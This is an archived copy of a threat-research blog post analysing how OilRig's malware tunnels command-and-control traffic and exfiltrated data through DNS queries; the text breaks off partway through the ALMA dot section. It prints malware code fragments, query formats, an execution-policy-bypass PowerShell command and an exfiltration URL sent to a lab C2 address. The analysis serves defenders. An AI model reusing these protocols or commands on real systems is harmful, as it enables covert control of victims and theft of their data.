{
	"id": "bab0cee4-47ca-4c14-8d1c-1290e558c639",
	"created_at": "2026-04-06T00:16:34.965168Z",
	"updated_at": "2026-04-10T03:37:36.808206Z",
	"deleted_at": null,
	"sha1_hash": "6b55a646d2539b25590dfeea6188b04de77f661d",
	"title": "DNS Tunneling in the Wild: Overview of OilRig’s DNS Tunneling",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4539455,
	"plain_text": "DNS Tunneling in the Wild: Overview of OilRig’s DNS Tunneling\r\nBy Robert Falcone\r\nPublished: 2019-04-16 · Archived: 2026-04-05 16:17:56 UTC\r\nOn March 15, Unit 42 published a blog providing an overview of DNS tunneling and how malware can use DNS\r\nqueries and answers to act as a command and control channel. To supplement this blog, we have decided to\r\ndescribe a collection of tools that rely on DNS tunneling used by an adversary known as OilRig.\r\nUnit 42 has been tracking the OilRig threat group since early 2016, which has resulted in over a dozen blogs\r\ndescribing various attacks carried out by this adversary. We have been covering the various tools OilRig uses in\r\ntheir operations, many of which rely on DNS tunneling to communicate between infected hosts and their\r\ncommand and control (C2) server. The repeated use of DNS tunneling clearly represents one of their preferred\r\ncommunication methods; therefore, we chose to publish an overview of OilRig’s tools that use various DNS\r\ntunneling protocols. A high-level analysis of the tunneling protocols used by these tools suggests:\r\nAll subdomains contain a randomly generated value to avoid the DNS query resulting in a cached response\r\nMost rely on an initial handshake to obtain a unique system identifier\r\nMost rely on hardcoded IP addresses within the DNS answers to start and stop data transfer\r\nData upload includes a sequence number that allows the C2 to reconstruct the uploaded data in the correct\r\norder\r\nDepending on the tool, A, AAAA, and TXT query types have been used by OilRig for tunneling\r\nAll of the DNS tunneling protocols will generate a significant number of DNS queries\r\nThis blog will dive deep into the DNS tunneling protocols used by OilRig’s tools Helminth, ISMAgent,\r\nALMACommunicator, BONDUPDATER, and QUADAGENT. Each of these tools use DNS queries and the\r\nanswers to these queries to communicate back and forth with its C2 server. Not only will this blog discuss the\r\nstructure of the queries and the responses, but it will also show these protocols in action with screenshots of\r\nWireshark displaying how the tunnels would look within a packet capture.\r\nTool Overview\r\nOilRig delivered Trojans that use DNS tunneling for command and control in attacks since at least May 2016.\r\nSince May 2016, the threat group has introduced new tools using different tunneling protocols to their tool set.\r\nFigure 1 shows a timeline of when OilRig first used each of the 5 tools and their sub-variants in attacks, based on\r\nour visibility.\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 1 of 32\n\nFigure 1. Timeline of OilRig introducing DNS tunneling tools\r\nRegardless of the tool, all of the DNS tunneling protocols use DNS queries to resolve specially crafted\r\nsubdomains to transmit data to the C2 and the answers to these queries to receive data from the C2. Therefore, the\r\nprotocols must abide by the DNS protocol, so the specially crafted subdomains must have labels (portions of the\r\nsubdomain separated by periods) must start and end with a letter or digit, contain letters, digits and hyphens and\r\nbe less than 63 characters in length. Also, the entire domain queried, which includes the C2 domain and the\r\nspecially crafted subdomain cannot exceed 253 characters.\r\nThe protocol used by each of the five tools to communicate with its C2 via DNS tunneling differ in many ways.\r\nFirst, the structure of the subdomains queried that the tools use to transmit information to the C2 differ. Next, the\r\nstructure of the data received by the Trojans from the C2 in the answers to the DNS queries differ as well. The\r\nstructure of the subdomains used to transmit data differ dramatically, both in the amount of data included and the\r\nencoding used to represent the data. The two encoding methods used by these tools to transmit data within the\r\nsubdomains included base16 and base64 encoded data. The encoding method greatly impacts the amount of data\r\nthe tool is able to transmit in the subdomain of each query, as base16 requires 2 ASCII characters to represent each\r\nbyte of data, so each character byte within the subdomain can transmit half (.5) a byte of data. Compare this with\r\nthe use of base64 to encode the data, in which each character of base64 encoded data in the subdomain represents\r\n6-bits (.75 bytes) of the data. This makes the base64 encoding more effective from a transmission throughput\r\nperspective.\r\nThe DNS query type used by the Trojan for its tunnel greatly effects the amount of data that the C2 can transmit to\r\nthe Trojan for each query. For instance, the tools that issue DNS A queries transmit data via IPv4 addresses within\r\nthe answers, so the C2 is only able to transmit 4-bytes per query, whereas tools using AAAA queries can transmit\r\n16-bytes within the IPv6 answer. Table 1 shows the tools and their variants covered in this blog with a focus on\r\nthe number of bytes of data the C2 can provide per query, the amount of characters used in the specially crafted\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 2 of 32\n\nsubdomain, the corresponding amount of data bytes sent per query and the encoding format used to transmit the\r\ndata. The table below shows that QUADAGENT can transmit the most amount of data per query, as it has 60\r\ncharacters within its subdomain to transmit base64 encoded data, meaning each query can transmit 45 (60*.75 =\r\n45) bytes of data. The table also shows that the updated version of BONDUPDATER can download the most\r\namount of bytes per query, as the C2 can provide 186.75 bytes of data thanks to the 255-byte maximum size for\r\nTXT queries and the C2 providing base64 encoded data after a 6 character sequence number ((255-6)*.75 =\r\n186.75), which will be discussed later in this blog.\r\nTool\r\nBytes\r\nreceived per\r\nquery\r\nCharacters for\r\ndata per query\r\nData bytes\r\nsent per\r\nquery\r\nData encoding in\r\nsubdomain\r\nHelminth 4 48 24 Base16\r\nISMAGENT 16 13 9.75 Base64\r\nALMA\r\nCommunicator\r\nDash 4 20 10\r\nBase16\r\nDot 4 60 30\r\nBONDUPDATER\r\nOriginal 3 50 25\r\nBase16\r\nUpdated 186.75 60 30\r\nQUADAGENT 16 60 45 Base64\r\nTable 1. Throughput and encoding used by OilRig's tools using DNS tunneling\r\nAnother difference seen amongst the tools involves the type of DNS queries used to transmit and receive data,\r\nwith each of the tools using DNS A, AAAA or TXT queries. Lastly, how the Trojan issues DNS queries differs as\r\nwell. Depending on the tool, DNS queries could be issued using the built-in ‘nslookup’ application, using methods\r\nwithin the “UdpClient” class, using methods “GetHostByName” and “GetHostAddresses” from the ‘DNS’ class,\r\nor using the DnsQuery API functions within the ‘Dnsapi’ library.  Table 2 includes the five tools covered in this\r\nblog, which shows several different DNS query types used for the tunneling protocol and different functions used\r\nby the tools to issue the DNS requests. Also, the example C2 domain column provides the domain name once used\r\nby OilRig to host a C2 server for the associated tool.\r\nTool\r\nDNS\r\nType\r\nDNS Query method Example C2 domain\r\nHelminth A [System.Net.DNS]::GetHostByName go0gie[.]com\r\nISMAgent AAAA DnsQuery_A ntpupdateserver[.]com\r\nALMACommunicator A DnsQuery_W prosalar[.]com\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 3 of 32\n\nBONDUPDATER\r\nA,\r\nTXT\r\n[System.Net.Dns]::GetHostAddresses,\r\nSystem.Net.Sockets.UdpClient\r\npoison-frog[.]club,\r\nwithyourface[.]com\r\nQUADAGENT AAAA nslookup.exe, Resolve-DnsName acrobatverify[.]com\r\nTable 2. DNS type and query method used by OilRig's tools using DNS tunneling for C2\r\nIn the upcoming sections, we will provide an in-depth analysis of the DNS tunneling protocols used by each of\r\nOilRig’s tools.\r\nHelminth\r\nThere are several variants of Helminth, as the OilRig actors actively developed this Trojan during the course of\r\ntheir attack campaigns. The Helminth Trojan came in two forms, a portable executable version and a PowerShell\r\nversion, both of which received updates to their DNS tunneling protocol over time. The DNS tunneling protocols\r\nused in each variant operated the same way, but the developer would make changes to the generated subdomains\r\nto make them look visually different to evade detection.\r\nFor instance, Figures 2, 3 and 4 below show the subdomain generation function used in three variants of\r\nPowerShell Helminth, which effectively generate the subdomains with the same structure, but the first two\r\ncharacters differ from “00”, “zz” and “ww”. While the portable executable and PowerShell variants of Helminth\r\ngenerate different subdomains for their DNS tunneling, in this section we will focus on the PowerShell variant as\r\nit is easier to visualize.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\nfunction GetSub($myflag2, $cmdid='00', $partid='000')\r\n{\r\nif($myflag2 -eq 0)\r\n{\r\n('00000000'+(convertTo-Base36(Get-Random -Maximum 46655)))\r\n}\r\nelseif($myflag2 -eq 1)\r\n{\r\n('00'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)))\r\n}\r\nelseif($myflag2 -eq 2)\r\n{\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 4 of 32\n\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n('00'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)))\r\n}\r\n}\r\nFigure 2. Code in Helminth \"00\" variant used to generate subdomains\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\nfunction GetSub($myflag3, $cmdid='00', $partid='000')\r\n{\r\nif($myflag3 -eq 0)\r\n{\r\n('ww000000'+(convertTo-Base36(Get-Random -Maximum 46655)))\r\n}\r\nelseif($myflag3 -eq 1)\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 5 of 32\n\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n{\r\n('ww'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)))\r\n}\r\nelseif($myflag3 -eq 2)\r\n{\r\n('ww'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)))\r\n}\r\n}\r\nFigure 3. Code in Helminth \"zz\" variant used to generate subdomains\r\n1\r\n2\r\nfunction GetSub($myflag2, $cmdid='00', $partid='000')\r\n{\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 6 of 32\n\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\nif($myflag2 -eq 0)\r\n{\r\n('zz000000'+(convertTo-Base36(Get-Random -Maximum 46655)));\r\n}\r\nelseif($myflag2 -eq 1)\r\n{\r\n('zz'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)));\r\n}\r\nelseif($myflag2 -eq 2)\r\n{\r\n('zz'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)));\r\n}\r\n}\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 7 of 32\n\n29\r\nFigure 4. Code in Helminth \"ww\" variant used to generate subdomains\r\nThe Helminth variant that uses “00” as the first characters of generated subdomains is the first variant of this\r\nTrojan that we analyzed from an attack campaign on Saudi Arabian targets back in May 2016. During the\r\nexplanation of the DNS tunneling, the “00” variant will be the main focus, but as the figures above suggest, the\r\n“ww” and “zz” variants are exactly the same just using different characters for the first two bytes of the\r\nsubdomain.\r\nThe Helminth variant relies on DNS Type A requests to resolve custom crafted subdomains at the C2 domain to\r\nobtain IPv4 answers that it will ultimately parse and treat as data. It issues these DNS queries using the\r\nGetHostByName method in the System.Net.DNS class. The Helminth tool will use the downloaded data to create\r\na batch script that it will run and upload the results to the C2 via the DNS tunnel. To carry out this activity, the\r\nHelminth tool looks for two hardcoded IP addresses within the response to its initial DNS query.\r\nIP Address Description\r\n33.33.x.x\r\nProvides script filename and instructs the Trojan to start downloading data to save to the batch\r\nscript.\r\n35.35.35.35 Instructs the Trojan to stop downloading data and to execute the downloaded batch script.\r\nTable 3. IPv4 addresses used by Helminth for data transfer through the DNS tunnel\r\nThe Helminth Trojan initiates the conversation with its C2 server by issuing a DNS query to resolve a special\r\nsubdomain that acts as a beacon. The C2 will respond to this beacon with an IPv4 address in the DNS answer that\r\nthe Trojan will use to obtain a unique system identifier from the C2, specifically converting the number in the first\r\noctet of the IPv4 to a character and using this character to uniquely identify the system in subsequent DNS\r\nqueries. The initial beacon to obtain a system identifier from the C2 has the following structure:\r\n00000000\u003cbase36 encoded random number less than 46655\u003e\u003csequence number “30”\u003e.\u003cc2 domain\u003e\r\nFigure 5 shows this initial beacon that includes the hardcoded string of eight zeros (“00000000”), followed by\r\nthree characters for the base36 encoded random number and a sequence number of “30”, which represents the\r\ncharacter “0”. Figure 5 also shows the C2 server providing an IPv4 address of “35.0.0.0” as the answer to the\r\nDNS request. This IP address instructs the Trojan use the character “5” as a unique system identifier, as the\r\nnumber 35 represents the “5” character in ASCII. The Trojan will use this identifier in subsequent queries that the\r\nC2 server will use to identify the system.\r\nFigure 5 Initial beacon from Helminth and the C2 replying with a unique system identifier\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 8 of 32\n\nThe next query includes the system identifier provided by the C2 as the third character in the subdomain, followed\r\nby the base36 encoded random number and the sequence number “30”, which represents the character “0”. This\r\nquery has the following structure, which reuses the “30” sequence number as the Trojan has not begun receiving\r\ndata yet:\r\n00\u003csystem identifier\u003e00000\u003cbase36 encoded random number less than 46655\u003e\u003csequence number “30”\u003e.\u003cc2\r\ndomain\u003e\r\nThe C2 will respond to this query with an answer that contains an IPv4 address that is structured as “33.33.x.x”,\r\nwhich Helminth will treat the last two octets as integers (“x.x”) and converts them to characters to use as the name\r\nof the batch file used to store the downloaded script. Helminth will concatenate the “.bat” file extension to these\r\ntwo characters to create the batch script and will begin issuing additional DNS queries and treat future IPv4\r\naddresses in responses as data that it will write to this file. Figure 6 shows the query containing the system\r\nidentifier and the C2 responding with an IPv4 answer of “33.33.97.97”, which Helminth will use “97.97” to create\r\na file named “aa.bat”, as the number 97 represents the “a” character in ASCII.\r\nFigure 6. C2 providing Helminth with the two character filename\r\nTo download data from the C2, Helminth will issue DNS queries that have the following structure, which is\r\nsimilar to the previous query used to obtain the filename, however, these requests include a hardcoded string\r\n“232A” followed by the hexadecimal representation of the two characters used for the filename:\r\n00\u003csystem identifier\u003e00000\u003cbase 36 encoded random number less than 46655\u003e232A\u003chexlified characters for\r\nfilename\u003e\u003csequence number\u003e.\u003cc2 domain\u003e\r\nThe C2 server will begin providing IPv4 addresses that the Trojan will treat each octet as the base10\r\nrepresentation of the binary data. The Trojan will write each byte to the batch file and continue to do so until the\r\nC2 provides the IPv4 address of “35.35.35[.]35” as a DNS answer, which instructs the Trojan to stop writing data\r\nto the file and run the file as a batch script.\r\nFigure 7 shows the C2 server providing the “33.33.97[.]97” IPv4 address instructing the Trojan to create a file\r\nname “aa.bat”. The screenshot then shows the Trojan issuing DNS queries with incrementing sequence numbers\r\n(“31”, “32” and “33” for 1, 2 and 3), which the C2 is responding with two IPv4 addresses to transmit the data\r\n(119.104.111[.]97 and 109.105.32[.]32 to transmit the string “whoami”) followed by the “35.35.35[.]35” address\r\nto end the data transmission.\r\nFigure 7. Helminth requesting data from the C2 server until receiving the IPv4 35.35.35[.]35 to stop the data\r\ntransfer\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 9 of 32\n\nOnce it receives the “35.35.35[.]35” address, Helminth will run the downloaded batch script and save the output\r\nof the script to a text file whose name has the same two characters as the batch script. For instance, in the above\r\nexample the Trojan would save the output of the “aa.bat” script to “aa.txt”. The Trojan will upload the contents of\r\nthis text file to the C2 server via a series of DNS queries that have the following structure:\r\n00\u003csystem identifier\u003e\u003ccharacters for filename\u003e\u003csequence number\u003e\u003cbase 36 encoded random number less than\r\n46655\u003e\u003cup to 48 characters for a maximum of 24-bytes of hexlified data\u003e.\u003cc2 domain\u003e\r\nThe Trojan splits the contents of the text file up into 24-byte chunks and converts each byte into its hexadecimal\r\nrepresentation. Helminth will include the hexadecimal representation of these bytes within the subdomain and will\r\nissue a DNS query to transmit the data to the C2 server. The Trojan will continue this process until all of the 24-\r\nbyte chunks are sent to the C2, with each query including an incrementing sequence number. Helminth does\r\nnothing with the C2 server’s answer to these queries, as it just makes sure the DNS server responded with any\r\nanswer. Figure 8 shows the Helminth Trojan uploading the contents of the text file that contains the results of the\r\nbatch script (“whoami” command) to the C2 server in a series of five DNS queries.\r\nFigure 8. Helminth sending the results of the command within queried subdomains\r\nISMAgent\r\nOilRig has used the ISMAgent tool in targeted attacks, one of which we publicly discussed in our blog titled\r\nOilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. OilRig’s use of this tool was an\r\ninteresting discovery, as ISMAgent uses a DNS tunneling protocol very similar to another tool called ISMDoor\r\nthat had been linked to another group called Greenbug. Researchers have already explained ISMDoor’s tunneling\r\nprotocol here, so we will focus on explaining ISMAgent’s DNS tunneling protocol.\r\nISMAgent uses the DnsQuery_A API function to issue DNS AAAA requests to resolve custom crafted\r\nsubdomains at an actor owned domain to send data to and receive commands from OilRig. The Trojan will initiate\r\ndata transfer by issuing a beacon that contains a unique session identifier generated by calling the CoCreateGuid\r\nAPI function and using the resulting GUID with its hyphens removed. ISMAgent then uses this session identifier\r\nwithin a subdomain with the following structure that it will attempt to resolve:\r\nn.n.c.\u003cGUID used for session ID\u003e.\u003cc2 domain\u003e\r\nISMAgent performs an AAAA query to resolve the domain, which effectively notifies the C2 that it is about to\r\nsend data. If the C2 is operational, it will respond to this beacon with an IPv6 address of\r\n‘a67d:0db8:a2a1:7334:7654:4325:0370:2aa3’ to acknowledge that it received the beacon and is ready to handle\r\nthe data ISMAgent will attempt to send it. After receiving the acknowledgment IPv6 from the C2 server, the\r\nTrojan build a string that has the following structure:\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 10 of 32\n\nhttp://\u003cIP of C2 domain\u003e/action2/\u003cbase64 encoded computername\\username\u003e||\r\nISMAgent will base64 encode the string above (converting “=”, “/” and “+” to “-“, “-s-“ and “-p-“ respectively)\r\nand then sends the encoded data to the C2 in a series DNS queries to resolve domains that have the following\r\nstructure:\r\n\u003cup to 13 characters of base64 encoded data\u003e.\u003citerating sequence number\u003e.d.\u003cGUID used for session ID\u003e.\u003cc2\r\ndomain\u003e\r\nThe C2 will respond with a hardcoded IPv6 of “a67d:0db8:85a3:4325:7654:8a2a:0370:7334” to tell the Trojan\r\nthat it received the data and to continue sending data. Once it has sent all the data to the C2 server, ISMAgent will\r\nissue a query to resolve a domain with the following structure to notify the C2 server it is done sending data:\r\nn.\u003cnumber of queries issued to send data\u003e.f.\u003cGUID used for session ID\u003e.\u003cc2 domain\u003e\r\nFigure 9 shows Wireshark displaying the ISMAgent beacon followed by the Trojan sending data to the C2 server.\r\nFigure 9 also shows that the C2 uses very specific IPv6 addresses as answers to the queries, specifically including\r\nthe IPv6 addresses used for acknowledgement and to instruct the Trojan to continue sending data. Lastly, the\r\nscreenshot shows a third IPv6 used to answer the last DNS query, which the Trojan will use to determine how\r\nmany DNS requests it needs to issue to download data from the C2.\r\nFigure 9. ISMAgent's initial beacon followed by the transfer of system data “action2” in the queried subdomains\r\nFigure 9 showed the C2 server providing an IPv6 address as an answer to the query that ISMAgent issued to mark\r\nthe completion of data transfer. ISMAgent will parse this IPv6 to make sure it starts with\r\n“a67d:0db8:85a3:4325:7654” and then uses the last two hexadectets as a number of DNS queries it should issue to\r\ndownload data from the C2 server. The Trojan will issue queries to resolve domains with the following structure\r\nand treats the IPv6 addresses in the answers as data:\r\nwww.\u003csequence number [0:count from C2 server-1]\u003e.r.\u003cGUID used for session ID\u003e.\u003cc2 domain\u003e\r\nFigure 10 shows the C2 server responding to a query with an IPv6 address that begins with\r\n“a67d:0db8:85a3:4325:7654” and ends with 11, which instructs ISMAgent to issue 11 DNS queries to download\r\ndata. The screenshot then shows ISMAgent issuing 11 DNS requests that the C2 server responds with data\r\nstructured as follows:\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 11 of 32\n\n\u003cGUID used as a unique system identifier\u003e#command#\u003cURL to download a file\u003e#\u003ccommand to run with\r\ncmd.exe\u003e#\u003cfile to upload to c2\u003e#\r\nIn Figure 10, the C2 provided IPv6 addresses that transmitted the following data to the ISMAgent Trojan, which\r\nwould run a PowerShell script that writes text to a file “C:\\Users\\Public\\file.txt:\r\n2983b983-0acd-42db-9d86-0b096af5f369#command##powershell.exe -executionpolicy bypass \\\"$s = 'Text\r\nwritten to file.txt';$s | set-content 'c:\\\\Users\\\\Public\\\\file.txt'\\\"#\r\nFigure 10. ISMAgent downloading data from the C2 within IPv6 answers that the Trojan will treat as a command\r\nThe next beacon sent by ISMAgent follows the same process as the initial beacon, including the query to resolve\r\n“n.n.c” followed by the data transfer requests with the base64 encoded data in the subdomain and finishing with\r\nthe “n.\u003crequests sent\u003e.f” query. The data transferred differs from the initial beacon, as it includes the GUID\r\nprovided by the C2 in the previous beacon and the URL contains the word “response” instead of “action2”. The\r\ndata sent to the C2 has the following structure, which the word “response” notifies the C2 that it is responding the\r\nprevious transmission of the GUID:\r\nhttp://\u003cIP of c2 domain\u003e/response/\u003cbase64 encoded computername\\username\u003e/\u003cGUID provided by C2 as a\r\nunique system identifier\u003e||\r\nFigure 11 shows the DNS requests that ISMAgent issues to send this data to the C2 server. As you can see from\r\nthe query to resolve the “n.12.f.” subdomain, ISMAgent sent 12 queries to transmit the encoded data to the C2\r\nserver via the DNS tunnel.\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 12 of 32\n\nFigure 11. ISMAgent sending data “response” to the C2 server within queried subdomains\r\nTo show how ISMAgent exfiltrates data from the system, we issued the following command from the C2 server:\r\n2983b983-0acd-42db-9d86-0b096af5f369#command###C:\\\\Users\\\\Public\\\\file.txt\r\nThe C2 issues this command within IPv6 addresses provided as answers to five queries seen in Figure 12. The\r\ncommand instructs ISMAgent to read the “C:\\Users\\Public\\file.txt” file and upload its contents to the C2 server. If\r\nyou recall, the string “Text written to file.txt” was written to this file from the PowerShell script executed by the\r\ninitial command issued by the C2 server in Figure 11 above.\r\nFigure 12. ISMAgent downloading data from the C2 within IPv6 addresses\r\nISMAgent will read the file and send its contents to the C2 server via the same sequence of DNS queries as\r\nbefore. The following shows the structure of the data uploaded, which is similar to but differs from previous data\r\ntransferred, specifically including the string “upload” in the URL and the contents of the uploaded file following\r\nthe double pipe (“||”) characters.\r\nhttp://\u003cIP of c2 domain\u003e/upload/\u003cbase64 encoded computername\\username\u003e/\u003cGUID provided by C2 as a unique\r\nsystem identifier\u003e||\u003ccontents of file uploaded\u003e\r\nFigure 13 shows ISMAgent uploading the contents of the “file.txt” file by sending the following data in encoded\r\nform to the C2 in 15 DNS queries:\r\nhttp://172.16.107[.]128/upload/V0lOLURQUUNPTkJMMU44XFJpY2sgRW5nbGlzaA%3d%3d/2983b983-0acd-42db-9d86-0b096af5f369||Text written to file.txt\\r\\n\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 13 of 32\n\nFigure 13. ISMAgent uploading data to the C2 via the queried subdomains\r\nALMA Communicator\r\nWhile tracking OilRig, we observed the threat group delivering two different variants of a tool called ALMA\r\ncommunicator as a payload. The two variants use DNS tunneling as its C2 channel, but the structure of the\r\ndomains generated differ enough to describe them separately.\r\nALMA dash\r\nThe dash variant of ALMA was the first ALMA Communicator variant we discovered and was the focal point of\r\nour blog titled OilRig Deploys “ALMA Communicator” – DNS Tunneling Trojan. Like other tools used by\r\nOilRig, ALMA uses two separate folders named “Download” and “Upload” to store files that it receives from the\r\nC2 and to store files that it will exfiltrate to the C2. The ALMA dash tool will use a custom DNS tunneling\r\nprotocol to download files provided by the C2 server and save these files in the “Download” folder. ALMA dash\r\nwill routinely check the contents of the second folder named “Upload” and use the custom DNS tunneling\r\nprotocol to exfiltrate the contents of each file in this folder.\r\nALMA dash’s custom DNS tunneling protocol relies on DNS A record queries to resolve custom crafted\r\nsubdomains at the actor controlled C2 domain. ALMA dash builds the subdomains and uses the DnsQuery_W\r\nfunction to issue these DNS queries. OilRig transmits data via IPv4 addresses within the answers to these queries,\r\nwhich ALMA will save to the “Download” folder and execute using CreateProcessA with the command line of\r\n“cmd /c \u003cdownloaded file\u003e”. The results of the command are saved to a file in the “Upload” folder that ALMA\r\nwill exfiltrate to the C2 server.\r\nALMA dash generates a unique identifier for the system by gathering the user name and windows product key and\r\ncombining the two strings together with an underscore (“_”) between them. The Trojan obtains the username via\r\nthe GetUserNameA function and gathers the Windows product id by querying the registry, specifically the key\r\nSOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ ProductId. ALMA will then generate the MD5 hash for this\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 14 of 32\n\nstring and use characters at specific offsets (offsets 1, 5, 9, 13, 17, 21, 25 and 29) in this MD5 hash to create an 8-\r\ncharacter string that it will use as the unique identifier for the system.\r\nWith the unique identifier created, ALMA dash initiates communications with the C2 server by sending a beacon\r\nto the C2 server using a DNS query to resolve a custom crafted subdomain at the actor-controlled C2 domain.\r\nALMA issues these beacons to notify the C2 that it seeks to download data.\r\n[random number between 1-9998]ID[unique identifier from MD5 hash of system information][sequence\r\nnumber]-0-2D-2D.[C2 domain]\r\nFigure 14 shows the initial beacon sent from ALMA dash to its C2 server, including a random number of “6813”,\r\na unique identifier of “8faa2150”, a sequence number of “0” and a hardcoded “-0-2D-2D\" string used for the\r\nbeacon.\r\nFigure 14. ALMA Communicator's initial beacon to the C2\r\nThe authoritative DNS server for the C2 domain will send data to ALMA dash within the IPv4 answers to the\r\nquery. The DNS server will use a hardcoded IPv4 address of 36.37.94[.]33 ($%^!)within answer to instruct the\r\nTrojan to begin treating all future IPv4 addresses within answers as data. To obtain the entire data stream, ALMA\r\ndash will continue to issue queries to resolve subdomains using the format above; however, ALMA will generate a\r\nnew random number each query to avoid caching. ALMA dash will continue to send queries until it receives the\r\nIPv4 address of 33.33.94[.]94 (!!^^), which the C2 server will send when it is finished sending data. Figure 15\r\nshows the C2 server answering the ALMA beacon with an IPv4 address of “36.37.94[.]33” to tell the Trojan to\r\nbegin treating subsequent IPv4 as data.\r\nFigure 15. C2 server responds to ALMA's beacon with data in the IPv4 answers\r\nThe Trojan will continue to treat the IPv4 addresses within the DNS query responses as data until the C2 server\r\nresponds with the address of “33.33.94[.]94”. Figure 16 shows the C2 server providing data in the form of IPv4\r\naddresses until it the “33.33.94[.]94” address to terminate the data transfer.\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 15 of 32\n\nFigure 16. ALMA continues to issue queries to download data from the C2 until it receives the 33.33.94[.]94 IPv4\r\naddress\r\nTo exfiltrate data from the system to the C2 server, ALMA dash variants will read the contents of the files in the\r\n“Uploads” folder and send their contents to the C2 via a series of DNS queries. The DNS queries have a similar\r\nstructure as the initial beacon, as these requests will start with a random number, the string “ID” and the unique\r\nidentifier created based on the MD5 hash generated for the system information gathered by the Trojan. The\r\ndifferences include the hardcoded string of “0-2D-2D\", which is no longer used but will be replaced by the\r\nfollowing:\r\n0 – This will contain the number of DNS queries the Trojan will request to transmit the entire data.\r\n2D – This will contain 20 or less characters that represent 10-bytes of data from the exfiltrated file in hexadecimal\r\nformat.\r\n2D – This will contain 16 or less characters that represent the first 8-bytes of the filename being exfiltrated in\r\nhexadecimal format.\r\nThe resulting structure for the data exfiltration queries is as follows:\r\n[random number between 1-9998]ID[unique identifier from MD5 hash of system information]-[number of\r\nrequests needed to transfer data]-[20 characters or less for hexlified data]-[16 characters or less for hexlified\r\nfilename].[c2 domain]\r\nFigure 17 and 18 show ALMA communicator exfiltrating data via the DNS tunnel. The two screenshots show the\r\nTrojan providing the number “29”, which is the total number of DNS queries it will issue to transmit all of the\r\ndata. The string “5F446E73496E6974” appears in each of the subdomains, as it is the hexlified representation of\r\nthe filename “_DnsInit”, which was the name of the batch script provided by the C2 server and executed by the\r\nTrojan. The two screenshots show the sequence number after the unique identifier “8faa2150” starting at “1” and\r\nincrementing up to “29” when transmitting the data to the C2 server.\r\nFigure 17. ALMA beginning the exfiltration of data to the C2 in the queried subdomains\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 16 of 32\n\nFigure 18. ALMA finishing the exfiltration of data to the C2 in the queried subdomains\r\nALMA dot\r\nThis variant of ALMA is very similar to the ALMA dash variant; however, the information sent to the C2 server\r\nand specific formatting of the data within the DNS tunneling protocol differ. In addition to the user name and\r\nProductId gathered by the dash variant of ALMA, the dot variant also gathers the computer name and the serial\r\nnumber of \"\\\\.\\PhysicalDrive\" and concatenates the system information using an underscore (\"_\") to split up the\r\nfields. Like the dash variant, the dot variant generates the MD5 hash of the gathered information and uses it as a\r\nunique identifier, but instead of using a shortened version of this hash, the dot variant uses the entire MD5 hash as\r\nthe unique identifier. The initial beacon to the C2 is structured slightly differently than the dash variant and results\r\nin drastically different subdomains, specifically having the following format:\r\n[random number between 1-9999999].MD5 hash for unique identifier].[sequence number].0.2D.2D.[c2 domain]\r\nFigure 19 shows a beacon generated by ALMA dot that contains a random number, the MD5 hash of the generated\r\nsystem specific data used as an identifier and a sequence number of 0.\r\nFigure 19. Beacon generated by ALMA dot\r\nTo receive data from the C2, the Trojan will process the IPv4 addresses within the answers to the DNS query.\r\nLike, the dash variant, the dot variant of ALMA uses the following two IP addresses to mark the beginning and\r\nend of the data transmission:\r\nStart – 36.37.94.33 